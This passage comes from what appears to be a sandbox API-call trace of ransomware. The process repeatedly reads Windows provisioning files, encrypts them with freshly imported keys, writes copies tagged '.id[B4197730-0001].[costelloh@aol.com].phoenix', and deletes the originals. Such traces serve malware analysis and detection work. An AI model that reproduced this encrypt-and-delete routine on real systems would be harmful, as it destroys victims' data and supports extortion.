	[0257.870] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.871] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.871] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.871] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0257.871] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.871] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1c3, lpOverlapped=0x0) returned 1
	[0257.872] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0257.872] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0257.873] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0257.873] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.873] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0257.873] CryptDestroyKey (hKey=0x151740) returned 1
	[0257.873] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0257.873] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0257.873] CloseHandle (hObject=0x2f4) returned 1
	[0257.874] CloseHandle (hObject=0x2e0) returned 1
	[0257.874] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0257.874] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.875] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.876] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=667) returned 1
	[0257.876] CloseHandle (hObject=0x2e0) returned 1
	[0257.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.877] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.877] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.877] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.877] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.878] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0257.878] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.878] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x29b, lpOverlapped=0x0) returned 1
	[0257.917] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0257.917] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0257.918] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151480) returned 1
	[0257.918] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.918] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0257.918] CryptDestroyKey (hKey=0x151480) returned 1
	[0257.918] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0257.918] CryptDestroyKey (hKey=0x151740) returned 1
	[0257.918] CloseHandle (hObject=0x2e0) returned 1
	[0257.919] CloseHandle (hObject=0x2f4) returned 1
	[0257.919] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.920] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.920] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.921] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=718) returned 1
	[0257.921] CloseHandle (hObject=0x2f4) returned 1
	[0257.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.921] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.921] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.921] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.921] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.922] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0257.922] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.922] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ce, lpOverlapped=0x0) returned 1
	[0257.925] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0257.925] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0257.926] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151480) returned 1
	[0257.926] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.926] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0257.926] CryptDestroyKey (hKey=0x151480) returned 1
	[0257.926] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0257.926] CryptDestroyKey (hKey=0x151180) returned 1
	[0257.926] CloseHandle (hObject=0x2f4) returned 1
	[0257.926] CloseHandle (hObject=0x2e0) returned 1
	[0257.927] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.928] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.928] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.929] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=718) returned 1
	[0257.929] CloseHandle (hObject=0x2e0) returned 1
	[0257.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0257.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.929] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.929] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.929] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.929] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.930] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0257.930] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.930] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ce, lpOverlapped=0x0) returned 1
	[0257.932] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0257.932] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0257.933] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151340) returned 1
	[0257.933] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.933] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0257.933] CryptDestroyKey (hKey=0x151340) returned 1
	[0257.933] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0257.934] CryptDestroyKey (hKey=0x151300) returned 1
	[0257.934] CloseHandle (hObject=0x2e0) returned 1
	[0257.934] CloseHandle (hObject=0x2f4) returned 1
	[0257.934] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 1
	[0257.935] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.935] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.936] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=715) returned 1
	[0257.936] CloseHandle (hObject=0x2f4) returned 1
	[0257.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.936] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.936] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.936] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.936] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.937] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0257.937] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.937] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cb, lpOverlapped=0x0) returned 1
	[0257.943] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0257.943] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
